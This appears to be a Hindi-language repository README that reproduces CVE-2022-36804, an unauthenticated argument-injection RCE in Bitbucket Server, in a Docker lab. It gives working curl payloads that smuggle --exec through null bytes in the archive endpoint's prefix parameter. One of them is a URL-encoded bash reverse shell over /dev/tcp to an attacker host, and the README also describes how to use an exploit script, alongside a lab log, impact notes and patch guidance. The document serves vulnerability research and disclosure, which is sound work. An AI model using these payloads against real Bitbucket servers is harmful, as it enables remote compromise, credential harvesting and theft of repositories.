
CVE-2022-36804 (Bitbucket RCE) का पूर्ण-श्रृंखला पुनरुत्पादन। इसमें एक Docker-आधारित प्रयोगशाला, नल-बाइट इंजेक्शन सत्यापन के लिए pspy64 निगरानी, और एक कस्टम Bash शोषण स्क्रिप्ट शामिल है। Assetnote अनुसंधान पर आधारित।
CVE-2022-36804 Atlassian Bitbucket सर्वर और डेटा सेंटर के REST API के भीतर एक उच्च/गंभीर आर्गुमेंट इंजेक्शन भेद्यता है।
जबकि आधिकारिक NVD नेशनल भेद्यता डेटाबेस आधार स्कोर आवश्यक पठन विशेषाधिकारों (PR:L) की धारणा पर 8.8 (उच्च) है, यह विश्लेषण इसे 9.8 (गंभीर) दोष (PR:N) मानता है। यदि किसी लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है—जो एक सामान्य कॉन्फ़िगरेशन है—तो शोषण वेक्टर पूरी तरह से प्री-ऑथेंटिकेटेड बन जाता है।
यह रिपॉजिटरी Assetnote द्वारा प्रकाशित तकनीकी शोध पर सीधे आधारित, शोषण के पूर्ण-श्रृंखला प्रयोगशाला पुनरुत्पादन का दस्तावेजीकरण करती है।
विश्लेषण में पर्यावरण ऑर्केस्ट्रेशन और सुरक्षा फ़िल्टर बाईपास से लेकर इंटरैक्टिव रिवर्स शेल प्राप्त करने तक के संक्रमण का विवरण दिया गया है। मूल खोज में उल्लिखित अनुसार, यह दोष रिमोट कमांड निष्पादन (RCE) की अनुमति देता है, जिसका शोषण प्री-ऑथेंटिकेशन पर किया जा सकता है यदि लक्ष्य रिपॉजिटरी में सार्वजनिक पहुँच सक्षम है।
यह भेद्यता जावा एप्लिकेशन रनटाइम और लिनक्स ऑपरेटिंग सिस्टम के बीच "सैनिटाइज़ेशन प्रतिबाधा असंगति" में निहित है।
जैसा कि Assetnote के शोध में उजागर किया गया है, Bitbucket Git कमांड बनाने और निष्पादित करने के लिए NuProcess लाइब्रेरी का उपयोग करता है। जब कोई उपयोगकर्ता /archive एंडपॉइंट पर prefix पैरामीटर प्रदान करता है, तो Bitbucket तर्क सूची को OS को पास करने से पहले नल कैरेक्टर (%00) को हटाने में विफल रहता है।
execve() कमांड को संसाधित करता है, तो यह स्ट्रिंग को %00 पर काट देता है। चूँकि NuProcess डेटा को इस प्रकार पास करता है, OS नल बाइट के बाद आने वाली हर चीज़ को एक बिल्कुल नए कमांड-लाइन तर्क के रूप में मानता है।--exec=... इंजेक्ट करके, एक हमलावर इच्छित --prefix फ़्लैग से बाहर निकल जाता है और git archive प्रक्रिया को एक मनमाना बाइनरी निष्पादित करने के लिए मजबूर करता है, जिससे रिमोट कमांड निष्पादन (RCE) होता है।
यह समझने के लिए कि शोषण एक साधारण URL पैरामीटर से OS-स्तरीय कमांड में कैसे संक्रमण करता है, हमें पेलोड की संरचना को विच्छेदित करना होगा और "एरे शिफ्ट" का निरीक्षण करना होगा।
prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x
यथार्थवादी हमले की सतह का अनुकरण करने के लिए, प्रयोगशाला पर्यावरण एक Docker ब्रिज नेटवर्क (hacking_net) के भीतर पृथक दो-कंटेनर आर्किटेक्चर का उपयोग करता है। यह सेटअप सुनिश्चित करता है कि शोषण और निगरानी होस्ट सिस्टम को प्रभावित किए बिना नियंत्रित वातावरण में की जा सके।
पीड़ित नोड: Atlassian Bitbucket सर्वर संस्करण 7.17.1 चलाता है। कंटेनर को जानबूझकर bitbucket-victim नाम दिया गया है। यह Apache Tomcat के RFC 7230 प्रवर्तन के साथ अनुपालन सुनिश्चित करने के लिए किए गए एक महत्वपूर्ण डिज़ाइन परिशोधन को दर्शाता है। अंडरस्कोर के बजाय हाइफ़न का उपयोग करके, पर्यावरण पेलोड निष्पादन के दौरान होने वाली "अमान्य कैरेक्टर" 400 त्रुटियों से बचता है—यह एक प्रमुख तकनीकी बाधा है जिसे शोध चरण के दौरान पहचाना और हल किया गया।
हमलावर नोड: एक अनुरूपित Kali Linux रोलिंग इमेज। मानक इमेज के विपरीत, यह नोड इस शोषण श्रृंखला के लिए आवश्यक विशिष्ट टूलसेट के साथ पूर्व-प्रावधानित है: रिपॉजिटरी हेरफेर के लिए git, पेलोड वितरण के लिए curl, और रिवर्स शेल कैप्चर करने के लिए netcat-traditional।
services:
bitbucket:
image: atlassian/bitbucket-server:7.17.1
container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
ports:
- "7990:7990"
volumes:
- ./bitbucket-data:/var/atlassian/application-data/bitbucket
networks:
- hacking_net
kali:
build: .
container_name: kali_attacker
tty: true
networks:
- hacking_net
networks:
hacking_net:
driver: bridge
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling
# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
apt-get install -y git curl netcat-traditional nano python3 && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
# Set the working directory to /root for convenience
WORKDIR /root
# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]
यदि आपने ऊपर दिए गए docker-compose.yml का उपयोग करके पर्यावरण को पहले ही प्रावधानित कर लिया है, तो आप भेद्यता को सत्यापित करने और सेकंडों में रिवर्स शेल प्राप्त करने के लिए शामिल exploit.sh स्क्रिप्ट का उपयोग कर सकते हैं।
1. लिसनर तैयार करें
अपने Kali हमलावर नोड (या होस्ट मशीन) पर, शेल को कैप्चर करने के लिए एक netcat लिसनर शुरू करें:
nc.traditional -lvnp 4444
2. शोषण निष्पादित करें
लक्ष्य Bitbucket IP, प्रोजेक्ट/रेपो नाम और अपने लिसनर विवरण प्रदान करके स्क्रिप्ट चलाएँ:
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>
chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444
3. पहुँच सत्यापित करें
स्क्रिप्ट निष्पादित होने के बाद, अपना netcat टर्मिनल जाँचें। आपके पास bitbucket उपयोगकर्ता के रूप में एक इंटरैक्टिव सत्र होना चाहिए।
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)
निम्नलिखित प्रयोगशाला सत्र का कच्चा निष्पादन लॉग है, जिसमें पर्यावरण सेटअप से लेकर पूरी तरह से इंटरैक्टिव रिवर्स शेल तक का विवरण शामिल है, साथ ही एप्लिकेशन लॉजिक और वेब सर्वर बाधाओं को बायपास करने के लिए आवश्यक समस्या निवारण चरण भी शामिल हैं।
मैंने कमजोर वातावरण को स्पिन अप करके और लक्ष्य एप्लिकेशन को कॉन्फ़िगर करके शुरू किया।
docker-compose up -d --build निष्पादित किया।http://localhost:7990 पर नेविगेट किया और Bitbucket सेटअप रूटीन के आरंभ होने की प्रतीक्षा की।CVE के साथ एक नया प्रोजेक्ट और Repo1 नामक एक खाली रिपॉजिटरी बनाई।
अंधा परीक्षण पर भरोसा करने के बजाय वास्तविक समय में इंजेक्शन को सत्यापित करने के लिए, मैंने अंतर्निहित Linux प्रक्रियाओं की निगरानी के लिए pspy64 तैनात करने का निर्णय लिया।
pspy64 बाइनरी डाउनलोड की।docker cp pspy64 bitbucket_victim:/tmp/pspy64
# Note that your container would be called bitbucker-victim if you clone this repo.
-u 0) स्पॉन करते हुए, मैंने निष्पादन विशेषाधिकार लागू किए और मॉनिटर शुरू किया:docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
हमलावर नोड (docker exec -it kali_attacker bash) पर स्विच करते हुए, मैंने एक फ़ाइल (/tmp/pwned) बनाने के उद्देश्य से प्रारंभिक रिमोट कमांड निष्पादन पेलोड दागा।
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
_ कैरेक्टर के संबंध में एक त्रुटि लौटाई।
-H "Host: localhost") जोड़ा।Host हेडर के साथ अद्यतन पेलोड दागने से एक नई त्रुटि उत्पन्न हुई:
{"context":null,"message":"You are not permitted to access this resource","exceptionName":null}
/archive एंडपॉइंट पहुँच अस्वीकार कर रहा था। मैंने अनुमान लगाया कि ऐसा इसलिए है क्योंकि git archive एक खाली रिपॉजिटरी पर काम नहीं कर सकता—उसे पार्स करने के लिए एक कमिट ट्री चाहिए।README.md ("This is a test repository for CVE-2022-36804") तैयार किया और इसे Kali कंटेनर से पुश करने का प्रयास किया।bitbucket_victim में निषिद्ध अंडरस्कोर था। यह अंडरस्कोर मुझे परेशान कर रहा है - सबक सीखा!172.19.0.3) का पता लगाने के लिए Docker नेटवर्क का निरीक्षण किया और व्यवस्थापक क्रेडेंशियल्स का उपयोग करके कमिट पुश किया:git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this:
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git
रिपॉजिटरी आरंभ होने के साथ, मैंने Host-हेडर-संशोधित पेलोड को एक बार फिर दागा:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
सफलता। अपने मॉनिटर टर्मिनल पर पलटते हुए, मैंने "स्मोकिंग गन" देखी। pspy64 ने उस सटीक क्षण को कैप्चर किया जब जावा प्रक्रिया ने इंजेक्टेड नल-बाइट स्ट्रिंग को लिनक्स कर्नेल को पास किया। जैसा कि तकनीकी विश्लेषण में भविष्यवाणी की गई थी, OS ने नल बाइट के बाद की हर चीज़ को एक नए तर्क के रूप में माना।
मैंने कंटेनर के अंदर एक मैनुअल जाँच के साथ इसका अनुसरण किया, यह पुष्टि करते हुए कि /tmp/pwned फ़ाइल वास्तव में bitbucket उपयोगकर्ता (UID 2003) द्वारा बनाई गई थी।
प्रूफ ऑफ कॉन्सेप्ट को अंतिम रूप देने और अधिकतम प्रभाव प्रदर्शित करने के लिए, मैंने एक साधारण फ़ाइल निर्माण से पूर्ण इंटरैक्टिव सिस्टम पहुँच प्राप्त करने की ओर संक्रमण किया।
nc.traditional -lvnp 4444
मैंने यह सुनिश्चित करने के लिए hostname -I का उपयोग करके अपने Kali कंटेनर का आंतरिक IP प्राप्त किया कि पीड़ित को पता चले कि शेल कहाँ भेजना है।
अंतिम पेलोड निष्पादित किया। मैंने यह सुनिश्चित करने के लिए URL-एन्कोडेड bash रिवर्स शेल का उपयोग किया कि >, &, और ' जैसे कैरेक्टर Tomcat के HTTP अनुरोध पार्सर को बायपास करें:
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
परिणाम: कनेक्शन स्थिर हो गया। मैंने bitbucket सेवा उपयोगकर्ता के रूप में सफलतापूर्वक एक इंटरैक्टिव शेल प्राप्त किया, जो एक सफल और पूर्ण सेवा समझौता साबित करता है।
वेब एप्लिकेशन और अंतर्निहित OS के बीच अंतर करना महत्वपूर्ण है। यह रिवर्स शेल सर्वर पर्यावरण तक पहुँच प्रदान करता है, न कि Bitbucket UI के भीतर "व्यवस्थापक" अधिकार।
OS-स्तरीय आर्गुमेंट इंजेक्शन के रूप में, शेल को पैरेंट प्रक्रिया के विशेषाधिकार विरासत में मिलते हैं—इस मामले में, bitbucket सेवा खाता (UID 2003)।
हालाँकि यह तत्काल root पहुँच नहीं है, प्रभाव अभी भी गंभीर है:
बौद्धिक संपदा की चोरी: इंस्टेंस पर होस्ट किए गए सभी रिपॉजिटरीज़ के लिए अंतर्निहित Git ऑब्जेक्ट्स तक अनधिकृत पहुँच, एप्लिकेशन के आंतरिक रोल-आधारित एक्सेस कंट्रोल (RBAC) को प्रभावी ढंग से बायपास करना।
क्रेडेंशियल संग्रह: आंतरिक कॉन्फ़िगरेशन फ़ाइलों और डेटाबेस रहस्यों तक पहुँच।
पिवोटिंग: समझौता किया गया सर्वर अब आंतरिक नेटवर्क पर हमला करने के लिए एक गेटवे के रूप में उपयोग किया जा सकता है।
एक कठोर वातावरण में, यह एक पूर्ण सेवा समझौता है। जबकि पूर्ण होस्ट नियंत्रण के लिए एक द्वितीयक विशेषाधिकार वृद्धि की आवश्यकता होगी, प्राथमिक उद्देश्य—संगठन की बौद्धिक संपदा तक पहुँच—पूरी तरह से साकार हो जाता है।
इस भेद्यता के विरुद्ध Bitbucket इंस्टेंस को सुरक्षित करने के लिए, Atlassian ने पैच जारी किए जो प्रीफ़िक्स पैरामीटर पर सख्त सत्यापन लागू करते हैं और नल-बाइट आर्गुमेंट विभाजन को रोकने के लिए प्रक्रिया निष्पादन तर्क को अद्यतन करते हैं।
आधिकारिक समाधान: Bitbucket सर्वर और डेटा सेंटर संस्करणों 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, या अगस्त 2022 के बाद जारी किसी भी संस्करण में अपग्रेड करें।
तत्काल शमन: यदि तत्काल अपग्रेड संभव नहीं है, तो सुनिश्चित करें कि सभी रिपॉजिटरीज़ के लिए सार्वजनिक पहुँच अक्षम है। हालाँकि यह भेद्यता को दूर नहीं करता है, यह हमले की सतह को एक अनऑथेंटिकेटेड (प्री-ऑथ) वेक्टर से एक प्रमाणित वेक्टर में स्थानांतरित करता है, जिसे निष्पादित करने के लिए एक वैध उपयोगकर्ता खाते की आवश्यकता होती है।
इस प्रूफ ऑफ कॉन्सेप्ट को निम्नलिखित प्राथमिक स्रोतों और प्रयोगशाला उपकरणों से शोध को संश्लेषित करके विकसित किया गया था:
Assetnote शोध: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – मूल खोज और तकनीकी वॉकथ्रू।
तकनीकी प्रेरणा: Devcraft - GitHub RCE via Git Injection – Git आर्गुमेंट इंजेक्शन पर शोध जिसने Assetnote की खोज को प्रेरित किया।
कमजोर इमेज: Atlassian Bitbucket सर्वर 7.17.1 – इस पुनरुत्पादन के लिए उपयोग की गई विशिष्ट कंटेनर परत।
निगरानी उपकरण: pspy (प्रक्रिया निगरानी उपकरण) – लिनक्स कर्नेल में आर्गुमेंट इंजेक्शन के व्हाइट-बॉक्स सत्यापन के लिए उपयोग किया गया।
| घटक | उद्देश्य | तकनीकी भूमिका |
|---|
prefix=x | आवश्यकता | git archive को एक प्रीफ़िक्स चाहिए; x एक प्लेसहोल्डर के रूप में कार्य करता है। |
%00 | चाकू | नल-बाइट। जावा इसे पास करता है, लेकिन C-आधारित लिनक्स कर्नेल यहाँ स्ट्रिंग समाप्त करता है। |
--exec=... | RCE ट्रिगर | खतरनाक फ़्लैग। बाहरी प्रोग्राम निष्पादित करने के लिए Git की अंतर्निहित सुविधा का दुरुपयोग करता है। |
touch ... | कार्रवाई | निष्पादित की जाने वाली कमांड। RCE सत्यापित करने के लिए सुरक्षित PoC। |
--remote=... | कूड़ेदान | Bitbucket द्वारा जोड़े गए कमिट ID को एक वैध तर्क के रूप में उपभोग करता है, यह सुनिश्चित करता है कि कमांड बिना सिंटैक्स त्रुटियों के स्वच्छ रूप से निष्पादित हो। |
यह भेद्यता के मूल को दर्शाता है: कैसे डेटा (एक निर्देशिका प्रीफ़िक्स) को निर्देश (एक कमांड फ़्लैग) में रूपांतरित किया जाता है।
जावा का निष्पादन संदर्भ (प्रारंभिक अवस्था):
जावा तीसरे तर्क के रूप में एक एकल, लंबी स्ट्रिंग देखता है।
[
"git", // Index 0
"archive", // Index 1
"--prefix=x\0--exec=...\0--remote=...\0x", // Index 2: The single, polluted string
"1a2b3c4d..." // Index 3: Appended by Bitbucket
]
लिनक्स कर्नेल निष्पादन (शोषित अवस्था):
कर्नेल का execve() सिस्कॉल प्रत्येक नल-बाइट (\0) पर स्ट्रिंग को विभाजित करता है, इंजेक्ट किए गए फ़्लैग को प्रक्रिया के तर्क सरणी में उनके स्वयं के स्टैंडअलोन पदों पर स्थानांतरित करता है।
[
"git", // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
"archive", // argv[1]: Subcommand
"--prefix=x", // argv[2]: Terminated early by %00
"--exec=/bin/bash -c 'touch /tmp/pwned'", // argv[3]: THE INJECTED FLAG (RCE)
"--remote=file:///", // argv[4]: THE TRASHCAN (Redirects logic)
"1a2b3c4d..." // argv[5]: COMMIT ID (Consumed by --remote)
]